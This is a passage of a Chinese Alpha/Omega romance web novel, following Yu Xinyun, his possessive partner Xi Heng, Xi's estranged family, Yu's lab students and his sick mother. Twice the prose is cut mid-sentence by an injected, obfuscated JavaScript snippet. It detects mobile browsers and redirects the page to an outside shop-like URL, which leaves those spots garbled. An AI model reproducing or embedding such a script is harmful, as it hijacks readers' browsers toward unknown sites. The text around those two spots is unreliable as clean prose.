郁歆云原先对于席恒的性格有很大困惑,后来才明白,在如此环境下,养出这样的后代也不足为奇。 席恒的母亲早逝,父亲性情风流,有过多任伴侣,光是郁歆云之前住在这里时,就换了两三任。 如今又换了一位女Omega,据说是一位过气了的歌星,虽然年纪相较于前几任稍微年长,但依旧美丽,美得平易近人,像是一位和善、好相处的长辈。 郁歆云不知道对方会在这里待多久,面对陈砚华时,礼节性地问候一声。 而席恒神色平静,即使见到父亲也没有丝毫尊敬的神色,微微颔首,仿佛来这一趟只是为了应付交差。而事实上也确实如此。 席父的脸色当然不会好看。可惜自从近年来患病,公司几乎全权交给席恒打理。 人到中年,家庭权力被迫交给下一代后,已经无法再通过情绪左右他人,至少席恒懒得搭理他,没有任何多余的眼神。 而一旁的陈砚华只当看不见,笑着招呼他们落座。 几人坐在餐桌上,比起家庭晚宴,更像是一次客气的聚餐,冷清清的。 佣人无声地端盘倒酒,刀叉碰撞的声音飘荡在空中,丝毫没有增添一点热闹,反而略显怪异。 郁歆云喜欢吃鱼,家里的阿姨各个都会做各式花样的鱼,这次回来聚餐,席恒也提前给出一份菜单,让佣人单独准备。 郁雅薇曾打趣道,小云也许上辈子是做够了猫,这辈子才投胎变成人,来人间游戏。 席恒有时会想,若郁歆云真是猫就好了,什么学生什么旧友,通通滚一边去,只乖乖地被他抱在怀中,撒娇缠绵,哪里也不用去,什么都不用烦恼。 然而想归想,他面色不改,专注地剔除鱼刺,然后夹到郁歆云碗里。 席父冷哼了一声,明显对于他这种身为Alpha,却百般讨好Omega的行为感到强烈不满,面色不虞。 陈砚华倒是笑了:“感情好最重要。我前几天和你小姨聊天时还说呢,反正你们年轻,有没有想过要个孩子?” 话一出口,郁歆云动作顿了顿,停下筷子。 席恒先一步回答:“目前没有打算。” 氛围明显变了。 陈砚华一怔,见对方表情不对,立即意识道自己选错话题,赶快另找了其他话盖过去。 可惜这一家人原本就各自生活,七零八落,生疏得像被雨水打湿的柴火,任凭她怎么努力都热闹不起来。 好不容易一顿饭吃完,席恒被父亲叫到书房,陈砚华则是在楼下大厅陪郁歆云闲聊家常。 她看上去相当擅长与人交谈,或许是为了弥补刚才饭桌上冒昧的话题,不留余力地夸赞郁歆云,从他先前所获得的奖项,说到今天的穿着:“早就听说歆云长得好,今天一看,果然是个水灵孩子。” 郁歆云今天衣服偏休闲,衬衫外面搭着件灰色毛呢开衫,仿佛一块被溪水浸透的美玉,温润细腻。 “这条项链是席恒送的吧?真漂亮,我当时也想买来做收藏,可惜……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444324|201086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 陈艳华笑吟吟,然后下一秒,她的笑忽然顿住了,似乎有些困惑:“嗯?” 郁歆云一怔,不明所以地发问:“怎么了?” 对方的目光落在他的颈间,蓝宝石镶嵌在底座上,无声地反射出耀眼的彩光。 陈艳华嘴唇动了动,刚想说些什么,Alpha的声音忽然响起。 席恒不知什么时候下楼了,走近两人身边:“在聊什么?” 陈艳华很明智地闭上嘴,对两人笑笑:“我去楼上看看席峰,医生说饭后服药,该提醒他吃药了。” 人走了,郁歆云看了眼对方的背影,接着朝Alpha发问:“项链怎么了?” 席恒没有出声,伸手轻轻挑起纤细的银链,蓝宝石随之腾空而起,微微地打转。 这条项链在拍卖会上拍出了七位数的高价,郁歆云并不知情,只以为是和以前一样稍微名贵的首饰。 珍宝配美人,很合称。 一番欣赏过后,席恒缓缓松开手,让那块宝石稳稳贴回Omega的肌肤,对方沾染在项链上的温度也随之回落:“好漂亮,宝宝。项链很配你。” 郁歆云原以为他故弄玄虚半晌,要发表什么高见,略带无奈地摇了摇头。 很快,陈艳华又从楼上下来,说房间已经收拾好了,让两人今晚留宿,明日再离开。 两人有段时间没回来,郁歆云的卧室相当整洁,一点灰尘也无,看得出平日里都有细心维护。 而他的房间对面,就是席恒的卧室。当初为了保证Alpha的安全,需要他最大化地在对方病情发作时随叫随到。 虽然后面席恒老是喜欢过来和他一起睡。 洗漱过后,席恒在房内的书架前注视片刻,从架子上抽出一本书,说要给郁歆云做睡前助眠。 郁歆云回完消息合上电脑,差点以为自己听错了,委婉拒绝:“又不是小孩了……明天还要上班。” 然而席恒很坚持,一定要给他念书,大有不同意就这么耗着的姿态。 郁歆云拗不过他,只好顺从地躺下。 床垫微微陷下,阴影投落在床头,席恒坐在郁歆云身侧,垂眼仔细地为他掖好被子。 握住Omega的手时,拇指在无名指指根处无意识摩挲了两下。对方似乎察觉到什么,很快把手抽了回去,提醒道:“开始吧。” 下巴抵在雪白的被面,那一双眼宛若秋水,熠熠生辉,恬静、乖巧地等待他。 席恒顿了顿,收回手,掌中似乎还残留着对方身上的温度。 席恒有时候觉得哥哥实在是太无情了。 就算平时对待席恒多么温柔、多么忍让,被抱在怀里时仿佛多年的爱侣,一旦遇到原则性问题,却立刻抽身而出,毫不留情。 不过是一枚戒指而已,该做的不该做的,这么些年也做尽了,就算答应我又如何呢? 可就像郁歆云有时拿他没办法一样,他同样拿郁歆云没办法。 席恒收回思绪,若无其事地拿起书,翻开,从第一页开始轻声朗诵。 卧室里静极了。唯有Alpha低沉的嗓音不紧不慢,令人想到蓝天之下静谧的深林,大地辽阔无边。 郁歆云一开始觉得这样被像小孩一样对待,有些哭笑不得。但席恒念书的节奏控制得很好,他把郁歆云半抱在怀里,音量也恰到好处,一个字一个字,清晰地念着。 郁歆云很快睡着了。 见他入睡,席恒的声音也渐渐停息。 Alpha将书合上,轻轻搁在一旁,然后借着台灯暖黄的光晕细细端详着这张熟睡的面容。 在一个世纪前,曾有一首称赞天使的歌谣,说祂们带走疾病、带走饥荒、带走生离死别,洁白的羽翼轻轻扇动,带来团圆、新生,还有春天的溪流。 由于信息素紊乱综合征,席恒小时候常常发病,轻则挂水,重则上手术台。 为了确保一切可能的突发情况,席家甚至斥重金在别墅中修建手术室,还聘请了专业的医生随时待命。 在郁歆云到来之前,席恒关于童年的印象,总是有刺骨的消毒水气味在周身萦绕,注射管的针尖在灯光下反射出银光,冰冷的手术台贴着他的脊背,像是此生永远也挥之不去的温度。 然而郁歆云来了之后,席恒很少再回忆起那段时光。 针头扎进皮肤的刺痛,药物流进血管的麻痒,所有令人辗转反侧的病痛全部消失殆尽,取而代之的,是Omega温柔的臂膀。 一双手轻轻地将他抱在怀中,贴合着他身躯的皮肉是那样温热柔软,耳边的话语是多么轻盈,仿佛有一种令人不由自主安心的魔力:“别怕,哥哥在呢。” “哥哥在呢。没关系的,不要怕。” “小恒,你会平安长大的。” 席恒垂首,看着沉睡中Omega的面容,在他脸颊上印下轻轻一吻。 晚安,我的天使。 7. Chapter 7 第二天天明,席恒先一步醒来。 房间昏暗,身旁的人还在沉睡。席恒欣赏了一会儿郁歆云的睡容,然后低头在对方淡粉色的饱满唇珠上亲了一口。 “......” 郁歆云动了动脑袋,无意识地发出一声轻哼。 一旁的台灯仍然在工作着,淡黄色的光晕纱一般轻柔地洒落在Omega的脸上,使得那肌肤更显得细腻莹润,仿佛上个世纪的欧式油画,美得朦胧轻盈。 自四年前的某一个秋夜起,此后的每一个夜晚,床头都会有一盏灯为郁歆云点亮。 郁歆云睡相真的很乖,安安静静地窝在人怀里,一晚上基本不怎么动弹。 即使这样,席恒依旧能看得津津有味,目光放肆地四处流连,意犹未尽。 他们从在一起后基本没有分开,席恒习惯了枕边有均匀细微的呼吸,一伸手就能抱到哥哥温热的躯体,就连偶尔出差,也要打视频通话,亲眼看着对方入睡。 席恒心想,他根本就不可能、也不会离开郁歆云。 合该就这样纠缠、依偎,直到叶落归秋的那一天。 两人今天都要工作,离郁歆云的闹钟响起还有一会儿,席恒换好衣服,先一步起身下床。 推开门后,走廊的另一边传来动静。席父正站在楼梯上,陈砚华在一旁搀扶着他,两人似乎要下楼。 看见席恒后,席父皱了皱眉:“席恒。你如今年纪也不小了,我昨天和你说的事,自己心里要清楚。” 席恒先是轻手轻脚地把门合上,生怕吵到仍然在熟睡的Omega。 接着转过身,表情没有改变分毫,语气平平:“不。” 见对方还是一副软硬不吃的态度,丝毫没有反思,席父怒极反笑:“然后呢?你以为什么都能按照你的心意来,就这么过一辈子?” “总不能像您一样吧。” 席恒礼貌地开口,嘴上说着离经叛道的话,神色还很得体:“半只脚快踏进坟墓里,久病床前都没有人惦记。” “你!” 席峰果然被他这句话噎住了,举起手指指着他,半晌都没有说出一句话来。 席峰早年确实风流成性,有过好几任妻子,情人接二连三地换。如此万花丛中过,即使不算上私生子,除了席恒以外,席峰自然还有其他孩子。 不过都是Omega和Beta,觉得难担大任,也很少管教过。 而席恒逐渐长大,越发不受控,即使席峰后知后觉,有意再培养继任者,可惜都没有等到新的Alpha诞生。 曾经他认为优胜劣汰,只有品行资质足够好,才有资格加以培养。 而用这套法则筛选出来,席恒无疑最优秀、最省心、最有天赋,却也最傲慢、最冷漠、最目无尊长,丝毫不把任何人放在眼里。 ......只会天天围着一个Omega打转。 不过短短几句话而已,却让席峰气急攻心,一口气差点没喘上。 一旁的陈砚华无意参与父子两之间的对话,安静得像块不言不语的石头,此刻见席峰捂住胸口怒目圆瞪,连忙上来扶住Alpha,低声询问:“没事吧?我去给你拿药。” 也许是早年精力过度损耗,亏空了身体,席峰近来状况越发糟糕,陈砚华得时时刻刻守在他身边,药随时准备着,以防不时之需。 两人转身回了房间。大清早就吵了一架,自然是没有心情再表演什么合家欢乐的假象,连饭也不打算在一块吃。 而郁歆云睡得香甜,对此一概不知。洗漱下楼后,在餐桌前落座。 环顾四周,和昨天比起,更加冷清。只有佣人在四处走动,不见席峰夫妇,于是问:“他们怎么没有下来吃饭?” 席恒连借口都不想找,很无谓地回答:“可能有事,不用担心。” 确实是人家的家事,郁歆云便也没有继续追问。餐桌上只有他们两人,倒是和在家吃饭没什么差别。 早餐过后,两人各自工作,席恒先开车送郁歆云回研究院。 下车前,副驾驶座上的人解开安全带,刚要下车,却忽然停下动作。 席恒的视线追着他,郁歆云转过身,凑上前在他嘴角亲了一口,低声说:“老公,我去上班了。” 因为音量不大,显得尾调有些黏糊、发软。亲完后才推开车门。 郁歆云知道席恒和家里人关系一般,但回家一趟,很好地控制住了脾气,没有和任何人吵架,所以亲一口,权当奖励他了。 “......” 席恒反应过来后伸手想把人抓住,而郁歆云动作更快,早就溜下车,只在车厢内余留一点晚香玉的香气,还很无辜地朝他挥手,让Alpha赶快去公司。 . “师姐,我们学生物的不是要成为神秘高冷的科研精英、开拓里程碑的人中龙凤吗,怎么到头来配溶液、洗试管干得最熟练。” 李青唉声叹气道:“这生物你就学吧,一学一个不吱声。” 旁边的人深有同感地点点头,刚要讲话,咻地闭上嘴巴,还朝她疯狂使眼色。 李青:“..........” 李青:“我最喜欢生物了,每天都学到很多,生物是我最喜欢的学科,学生物真是太幸福了,每天都有实验做,哈哈。” ......听起来像是精神失常后的胡言乱语。 郁歆云只听到后半截话,随口道:“挺好的,看来以后发CNS没问题了。” 在导师面前,李青不由得挺直了腰板,小心翼翼地斟酌着措辞:“老师,上次的报告,这周之内我会交给你。” 李青在组里年纪最小,刚念研究生,郁歆云倒没有过多为难,嘱咐几句就把人放走了。 然后去了茶水间接水,张姨最近给他调配了新茶包,让他泡着喝。 热气在水杯中荡漾,清新的茶香立刻舒展开来。 身后有脚步声接近,章宇也端了个杯子过来:“老师,我来课题组也有一段时间了,想请大家一块吃个饭,谢谢近来的照顾。” 章宇虽然进组时间晚,但会来事爱热闹,活泼开朗,人缘不错。 据唐安之前所说,章宇似乎是托关系进来的。传闻不知是真是假,但以章宇平时的穿着来看,家庭条件确实不差,上下班又是自己开车过来。 虽然是关系户,但章宇本身挺聪明的,再怎么说原本也是一流高校的学生。 郁歆云其实并不知道对方为什么忽然空降他的课题组,毕竟研究院里资历比他深的PI不少,郁歆云刚来院里时,还有人觉得他一个Omega,年纪又小,不一定能管得住学生。 不过这些和他没关系,听听也就忘了。 课题组确实有聚餐的传统,郁歆云道:“好,吃饭的钱之后可以找我报销。荣开今天请假,回头记得和他说一声,别把人落下了。” 章宇闻言一愣:“你不去吗,老师?” 学生的聚会,郁歆云身为导师,在场的话他们大概率放不开,于是摇头:“我就不凑这个热闹了。” “……老师。” 章宇却极力争取道:“一起去吧,餐厅我都挑好了,位置也已经预约了。不需要报销,我负担得起。老师,我只是想……平日里天天做实验,大家一块吃个饭,也彼此熟悉熟悉。” 他说得很诚恳,但郁歆云仍旧无可无不可:“到时候再说吧。” . 上午的时间过得很快,临近中午时,郁歆云接到了电话,陪护人员在电话中告诉他今天有新的访客,郁女士看起来心情似乎很好。 一提新的访客,郁歆云立刻就知道是谁。 许长风说要去拜访郁雅薇,郁歆云原以为只是对方随口说出的客套话,没想到许长风真的去了。 不过也好。 郁歆云心想,平日里若是有人能来陪陪母亲说话,总好过一天天独自待在病房里,望着窗外出神。 虽然在筒子楼里居住时的生活并不富裕,但拘束、节俭、一贫如洗的日子,对于如今被困在医院的郁雅薇来说,都是难得的关于自由的回忆。 去年郁歆云获奖后,无数研究院纷纷向他伸出橄榄枝,尤德尔基金会也不例外,除了百万的奖金以外,还承诺了丰厚的薪酬。 然而郁歆云最终还是选择回到A市,做出这个决定并不需要过多思考,他无法接受母亲有一丝离开他的风险。 郁雅薇得的是一个较为罕见的基因遗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444325|201086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 传病,潜伏多年,一朝病发后来势汹汹,至今无法痊愈。 这也是席恒为什么对郁歆云的身体情况如此在意的原因,简直到了草木皆兵的地步。 即使医生再三保证,后代发病的概率不高,郁歆云目前多次体检报告也没有出任何问题,但席恒仍旧对郁歆云的饮食等各个方面都严格掌控,生怕有什么差错。 就连有次低血糖,也硬是被席恒按在医院住了两天,郁歆云百般抗议无果。 “哥哥。就当是为了我吧。” 那时的席恒给出一个令郁歆云哑口无言的理由,将他所有反驳的话都堵了回去。毕竟他们都明白,失去至亲至爱之人究竟会有多么痛苦。 Alpha当时在他额头最后印下一吻,说:“你要长命百岁。” 想到这里,郁歆云叹了口气。 他又给陪护人员发去消息,说自己一会儿过去。然后又和张姨说一声,叫她说中午不必带饭过来了。 . 医院七层。 电梯门缓缓向两侧打开,郁歆云踏上走廊,作为高级私人病房区域,七层十分安静,没有任何喧哗,大理石地砖一尘不染,从窗外洒落的阳光照亮空气中浮动的尘埃,拐角处的绿植郁郁青青,相当适合病人静养。 郁歆云轻车熟路地穿过走廊,清脆的脚步声在周遭回响。 他在702病房门口停下,门留着一条缝,隐约能听见里面传来的交谈声。 不知道是聊到了什么,郁歆云听到了母亲开怀的笑声,笑着笑着,声音又渐渐变低,然后不受控制地咳了两声。 在郁歆云印象里,过去的许长风脾气一般,而多年以后,却能自在从容地游走在社交场上,和谁都能聊上两句。也许时间真的会将人打磨,使对方变成现在这副颇会插科打诨的模样。 郁歆云推门而入。 郁雅薇坐在桌子前,脸上还带着笑。见有人进来,还有些没反应过来。 看清来人的面容后,立刻又惊又喜:“小云。怎么忽然过来了?也不提前和妈妈说一声。” 郁歆云也跟着笑:“今天不忙,刚好路过,就过来看看,想给你一个惊喜。” 郁雅薇眼睛弯成月牙,连忙高高兴兴地叫郁歆云坐过来。 郁歆云拉了把椅子在母亲身边坐下,也朝Alpha点了点头,算是打了个招呼。 自从郁歆云进来以后,许长风就收敛了存在感,默不作声地站在一旁。 直到这时,他才仿佛休眠中被唤醒的机器人一般,露出一个微笑:“歆云,又见面了。我过来看看阿姨。” 郁歆云来的时间不早不晚,几人聊了几句,差不多就到了饭点。 母子两人吃饭,而许长风是个算不上亲密的朋友,自觉身份不太合适,因此即使郁雅薇让他一块留下来用餐,仍然先行告辞:“阿姨,我公司那边还有事情,下次再过来看望您。您保重身体。” 郁雅薇笑眯眯,连声应答:“好,好。下次有机会,可以让你妈妈一起过来聊聊天,反正我一个人也是闲着。” 许长风答应下来,离开房间,体贴地关上门,把空间留给他们。 人走后,郁雅薇还有些感慨,叹了一口气:“没想到长风都长这么大了,听他说都已经工作几年了……唉,原来真的已经过去这么久了。” 在医院里待了太久,几乎已经习惯这里的一切,久到现在回想起过去在窄小的出租屋里的日子,遥远得仿佛是上个世纪发生的事情。 郁歆云脸上挂着淡淡的笑,为妈妈削苹果,没有接话。 刚才郁雅薇留客,他一句话也没说。 一来,和别的Alpha一起吃饭,席恒知道了又要闹;二来,许长风如今也不算他的朋友,要真一块坐下闲谈叙旧,倒显得古怪。 A市说大不大,说小也不小,一个筒子楼里能住多少户人家都数不清。大城市却寸土寸金,不给任何人情面。 郁歆云确实没想到会遇到许长风。 但是这种偶遇,并未对他照常任何影响,或者说,他对于过去所有人都是一种全然不在意的状态。 人总是要往前看的,只要母亲还在身边就好。 郁歆云这辈子别无所求。 8. Chapter 8 吃饭时,郁雅薇又提起席恒,问两人最近怎么样:“听长风说,做个总监已经够忙活了,要是管上公司,更是每天脚不沾地。小恒平日里该有多累,他年纪也不大,估计很辛苦。我老是看报道说年轻人过劳住院,你们都要注意休息。” 郁歆云动作一顿,面上不显:“挺好的,妈妈。昨天还和席恒回了一趟他家,他奶奶最近要过寿了,在想要准备什么礼物。” 其实贺寿礼席恒早就准备好了,根本无需郁歆云操心,说这个话不过是为了让郁雅薇转移注意力。 果然,郁雅薇立刻起了话头,开始为两人出谋划策:“送老人家的礼物,不要太花里胡哨,应该送点玉呀之类的......” 郁歆云跟着母亲有一搭没一搭地闲聊,心里想着事。 席家的情况有些复杂,大家族的通病便是子嗣众多,小孩都是一撮一撮冒头的,像春天的野草,一茬一茬更新迭代。 除了格外冒尖的,或是受长辈宠爱的以外,根本得不到足够的重视,其他私生子之余,更是只有自生自灭的份。 郁歆云认想,也许正是因此造就了席家略显诡异的家族氛围。 席父目前患病,席恒却毫不关心,平日里鲜少探望不说,郁歆云毫不怀疑,就算哪天父亲死在眼前,席恒恐怕连眼睛都不会眨动一下。 虽然席恒年幼时,席父同样对这个孩子丝毫不放心上,除了耗费大量师资医疗来培育、教养他以外,任何一点父子情意都无,因此如今的状况并不会使Alpha受到良知上的谴责。 之前席恒来研究院探班,唐安十分好奇,觉得他们两人看起来性格相似,都一样的寡言少语,平日家里不会过分沉默么? 郁歆云心说Alpha黏人起来有多难缠都不知道,要哪天消停会儿都算难得。 成长环境无疑对人的性格形成过程影响深刻,父亲缺位,母亲过早离世,席恒的日常生活被各种课程填满,要不是郁歆云到来,他或许都没有一个朋友。 如今的席恒是郁歆云费了很多力气一手教导出来的,会笑、会沟通,每次给郁歆云添置新衣,都会不留余力地夸奖、亲吻:“宝宝,好漂亮。” 而席恒最开始表达喜欢的方式—— ……会一直盯着人看。 最开始的那一段时间,郁歆云确实觉得席恒是一个性格古怪的孩子,仿佛一个毫无生气的玩偶,对外界的一切反应平淡,谁也不能让他的表情改变几分。 但郁歆云自觉自己受人所托,母亲的医药费沉甸甸地压在肩头,因此要努力做到尽职尽责,不厌其烦地靠近这个小孩。 起初,席恒常常一言不发,如同初见那次,只用沉默的目光看着他。直到郁歆云后来耐心地反复多次尝试,他才渐渐开始回应郁歆云。 而郁歆云也很快意识到了,Alpha的目光似乎并未带有他想象中的敌意。 有一回,席恒在上课,而他独自在书房看书。 春夏交接,天气回暖,阳光柔柔地照进房中。郁歆云之前从来没有在这么大的桌子上阅读过,实木书架摸上去的触感十分奇妙,仿佛某种精怪的臂膀,油墨的气息令他着迷,书籍对他而言是世上最珍贵的宝藏。 郁歆云如痴如醉,不断翻动一张又一张纸页,几乎忘了时间,直到眼睛发酸时才停下。 身体的疲惫感提醒他休息,但他仍然恋恋不舍,也不愿回房间,打算就在沙发上小憩片刻。 醒来时,身上搭了一张毯子。 一个身影坐在他身边,悄无声息地望着他。 郁歆云刚从睡梦中苏醒,还有些迷糊。被这目光一望,仿佛一脚踏进秋夜里的湖水,立刻有些清醒,下意识往沙发靠背上缩了缩。 对方这才开口:“哥哥,你刚刚睡着了。” Alpha十分敏锐,立刻察觉到郁歆云方才无意识的躲闪,他仔细分辨这个反应,问:“哥哥,你是在害怕吗?” 他凑近了点:“你害怕我吗?” 席恒一双黑漆漆的眼望向他,静静等一个回答。 “……” 郁歆云把脸撇向一旁。过了好一会儿才转回来,叹了一口气:“小恒。不要这样一直看着别人,会让人搞不明白你的意思的。” “……我知道了,哥哥。”听完他的话,席恒若有所思。 然后忽然贴近,在Omega的脸颊上轻轻印下一吻:“喜欢哥哥。” 郁歆云动作僵住了。 余光中,对方似乎还在观察他的神色,在发现Omega没有进一步反应后,又凑过来,重新解释一遍:“哥哥。我不想让你害怕。” 大概是从这天起,席恒便养成习惯。 因为哥哥不喜欢被一直盯着看,于是当目光在Omega身上停留过久时,他便会下意识地用其他举动来打断这种注视。 小时候或许是拥抱,长大后便是亲吻。 . 和母亲道别,回到研究院后,郁歆云接到了席恒的电话。 Alpha东拉西扯,一会儿说天气,一会儿问心情,黏黏糊糊,欲言又止。 郁歆云心里跟明镜似的,直接了当地告诉他:“早上朋友来医院看妈妈,我中午过去坐坐,顺便和妈妈一起吃个午饭。” 席恒问:“是么?和阿姨聊得怎么样?” 不过是嘴皮子利索了点,会讲些俏皮话逗长辈开心罢了。 席恒心想,上不了台面的东西,一个项目总监而已,仗着过去一点聊胜于无的年少情分,真以为自己能有什么本事么。 但这种话,他自然不会讲给郁歆云听。 因为早上的那个吻,席恒今天心情相当好,就连碰到下属迟到,也只扣了一百块钱。 所以就算郁歆云没有提前告知他就与Alpha见面了,也没说什么,还表现得很慷慨:“既然是朋友,还是以前的朋友,和阿姨这么熟悉。不如找个时间,也介绍给我认识认识。” 席恒说认识认识,不一定是真的想认识,到时候说不定又出什么事。郁歆云巧妙地把话岔开:“嗯,下次有机会再说。” 见对方心情似乎不错,郁歆云乘胜追击,把聚餐的事情顺便说了,一边给Alpha顺毛道:“老公,就是一起吃个饭而已,都是学生。” “……” 席恒自己在郁歆云身边,也是从小孩长大的,年纪小会让人天然地不设防。何况那群学生,有些年纪比郁歆云还大上几岁,虽然平时一口一个老师地叫着,但又怎么能算小孩。 眼见Alpha沉默,郁歆云就知道他的意思了,无声地叹了一口气,转移话题:“我要去开会了,你先忙工作吧,好吗?先不说了。” 电话挂断后,郁歆云略有无奈地摇摇头。 然而一转身,章宇正站在不远处,静静地看着他,不知道听了多久。

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